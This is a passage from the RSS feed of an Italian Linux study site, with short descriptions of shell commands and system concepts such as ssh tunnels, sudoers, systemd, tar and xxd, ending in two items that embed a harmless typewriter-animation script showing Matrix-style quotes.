15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ssh-key-authentication/</guid><description>Metodo di autenticazione sicura basato sulla crittografia asimmetrica. Utilizza una coppia di chiavi (pubblica e privata) per stabilire fiducia tra client e server senza inviare password in rete.</description></item><item><title>Ssh Tunnel</title><link>https://u-random.dev/comandi/ssh-tunnel/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ssh-tunnel/</guid><description>Tecnica SSH che apre una pipe cifrata tra una porta locale (host) e una porta remota (target). Il processo &lt;code&gt;ssh -N&lt;/code&gt; ascolta sulla porta locale e inoltra (forwarda) tutto il traffico al server remoto, agendo come un proxy sicuro senza richiedere servizi in ascolto sulla macchina locale.</description></item><item><title>Standard Streams</title><link>https://u-random.dev/concetti/standard-streams/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/standard-streams/</guid><description>I tre canali di comunicazione che ogni processo Linux apre automaticamente: stdin (0), stdout (1), stderr (2). Fondamentale per capire pipe, redirezione e come collegare comandi tra loro.</description></item><item><title>Stats</title><link>https://u-random.dev/comandi/stats/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/stats/</guid><description>Visualizza lo stato dettagliato di un file o del filesystem, mostrando metadati invisibili a &lt;code&gt;ls&lt;/code&gt;. Il nome sta per status.</description></item><item><title>strings - estrae stringhe leggibili da file binari</title><link>https://u-random.dev/comandi/strings/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/strings/</guid><description>Analizza file binari o flussi di dati per estrarre e stampare sequenze di caratteri ASCII (testo leggibile) lunghe almeno 4 caratteri (default).</description></item><item><title>Sudoers And Privileges</title><link>https://u-random.dev/concetti/sudoers-and-privileges/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/sudoers-and-privileges/</guid><description>Il sistema &lt;code&gt;sudo&lt;/code&gt; (SuperUser DO) permette a utenti fidati di eseguire comandi con i privilegi di sicurezza di un altro utente (normalmente root).</description></item><item><title>Systemctl</title><link>https://u-random.dev/comandi/systemctl/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/systemctl/</guid><description>Interfaccia a riga di comando per controllare systemd, il sistema di inizializzazione e il manager dei servizi (demoni) standard nelle distribuzioni Linux moderne. Permette di gestire il ciclo di vita delle unità di sistema (servizi, socket, target).</description></item><item><title>Systemd</title><link>https://u-random.dev/concetti/systemd/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/systemd/</guid><description>&lt;code&gt;systemd&lt;/code&gt; è il init system e il gestore dei servizi (Service Manager) standard per la maggior parte delle distribuzioni Linux moderne (Ubuntu, Kali, Debian). È il primo processo che viene avviato dal Kernel (PID 1) e ha il compito di 'tirare su' tutto il resto del sistema.</description></item><item><title>Tail</title><link>https://u-random.dev/comandi/tail/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tail/</guid><description>Visualizza l'ultima porzione di uno o più file. È lo strumento principe per il monitoraggio dei log in tempo reale. tail (1) - emette l'ultima parte dei file.</description></item><item><title>Tar</title><link>https://u-random.dev/comandi/tar/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tar/</guid><description>Acronimo di Tape Archiver. Raggruppa più file e directory in un unico file archivio senza comprimerli.</description></item><item><title>telnet - protocollo di accesso remoto non cifrato</title><link>https://u-random.dev/comandi/telnet/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/telnet/</guid><description>Protocollo client-server che permette l'accesso remoto a un computer. A differenza di SSH, non è cifrato: tutto viaggia in chiaro. Oggi viene usato quasi esclusivamente per testare se una porta specifica è aperta.</description></item><item><title>Tr</title><link>https://u-random.dev/comandi/tr/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tr/</guid><description>Abbreviazione di translate. Sostituisce, comprime o elimina caratteri specifici dallo standard input.</description></item><item><title>Tree</title><link>https://u-random.dev/comandi/tree/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tree/</guid><description>Visualizza ricorsivamente il contenuto di una directory in un formato grafico ad albero, arricchendo la vista con metadati del filesystem come Inode, proprietari e permessi. tree (1) - elenca il contenuto delle directory in un formato ad albero colorato.</description></item><item><title>Type</title><link>https://u-random.dev/comandi/type/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/type/</guid><description>Identifica la natura di un comando (se è un eseguibile, un comando interno della shell o un alias). type (1) - indica come viene interpretato un nome di comando.</description></item><item><title>Uid Gid Identifiers</title><link>https://u-random.dev/concetti/uid-gid-identifiers/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/uid-gid-identifiers/</guid><description>UID (User ID) e GID (Group ID) sono identificativi numerici che il Kernel Linux utilizza per identificare utenti e gruppi e applicare le policy di controllo accessi (Permissions). In un sistema Linux, poiché 'tutto è un file', il sistema ha bisogno di un modo univoco per stabilire chi possiede cosa e quali permessi ha. UID e GID sono le 'carte d'identità' digitali che il Kernel utilizza per gestir</description></item><item><title>Uniq</title><link>https://u-random.dev/comandi/uniq/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/uniq/</guid><description>Rileva e rimuove le righe duplicate adiacenti da un file o dall'input.</description></item><item><title>wc - conta righe, parole e caratteri</title><link>https://u-random.dev/comandi/wc/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/wc/</guid><description>Conta il numero di righe, parole e byte contenuti in un file o ricevuti tramite pipe. wc (1) - stampa il conteggio di righe, parole e byte per ogni file.</description></item><item><title>Whatis</title><link>https://u-random.dev/comandi/whatis/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/whatis/</guid><description>Mostra una descrizione sintetica (una riga) di ciò che fa un determinato comando. whatis (1) - visualizza descrizioni di una riga delle pagine di manuale.</description></item><item><title>Which</title><link>https://u-random.dev/comandi/which/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/which/</guid><description>Localizza il percorso esatto del file binario che verrebbe eseguito lanciando il comando indicato. which (1) - localizza un comando.</description></item><item><title>Who</title><link>https://u-random.dev/comandi/who/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/who/</guid><description>Mostra gli utenti attualmente loggati nel sistema. È uno strumento di monitoraggio immediato per identificare sessioni attive, terminali utilizzati e orari di accesso.</description></item><item><title>Xxd</title><link>https://u-random.dev/comandi/xxd/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/xxd/</guid><description>Utility che genera hexdump o effettua l'operazione inversa (Hex-to-Binary). Il nome sta per hex dump.</description></item><item><title>Graph</title><link>https://u-random.dev/graph/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://u-random.dev/graph/</guid><description>&lt;div class="not-italic font-bold text-lg text-center" style="color: #00ff00;"&gt;
&lt;span id="typeit-a56b61e19f2414fcafd276389ef5d467"&gt;&lt;/span&gt;

&lt;script&gt;
 document.addEventListener("DOMContentLoaded", function () {
 var strings = ["","Mi fanno male gli occhi.\u003cbr\u003ePerché non li hai mai usati.\u0026nbsp;\u0026nbsp;\u0026nbsp;",""];
 
 new TypeIt("#typeit-a56b61e19f2414fcafd276389ef5d467", {
 strings: strings,
 speed: 40 ,
 lifeLike: true ,
 startDelay: 0 ,
 breakLines: true ,
 waitUntilVisible: true ,
 loop: false ,
 cursorChar: " █ "
 }).go();
 });
&lt;/script&gt;

&lt;/div&gt;</description></item><item><title>Vault</title><link>https://u-random.dev/tree/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://u-random.dev/tree/</guid><description>&lt;div class="not-italic font-bold text-lg text-center" style="color: #00ff00;"&gt;
&lt;span id="typeit-c1cbf56b05e5a2d3d1b528794cc84054"&gt;&lt;/span&gt;

&lt;script&gt;
 document.addEventListener("DOMContentLoaded", function () {
 var strings = ["","Benvenuto nel mondo vero...\u0026nbsp;\u0026nbsp;\u0026nbsp;",""];
 
 new TypeIt("#typeit-c1cbf56b05e5a2d3d1b528794cc84054", {
 strings: strings,
 speed: 40 ,
 lifeLike: true ,
 startDelay: 0 ,
 breakLines: true ,
 waitUntilVisible: true ,
 loop: false ,
 cursorChar: " █ "
 }).go();
 });
&lt;/script&gt;

&lt;/div&gt;</description></item></channel></rss>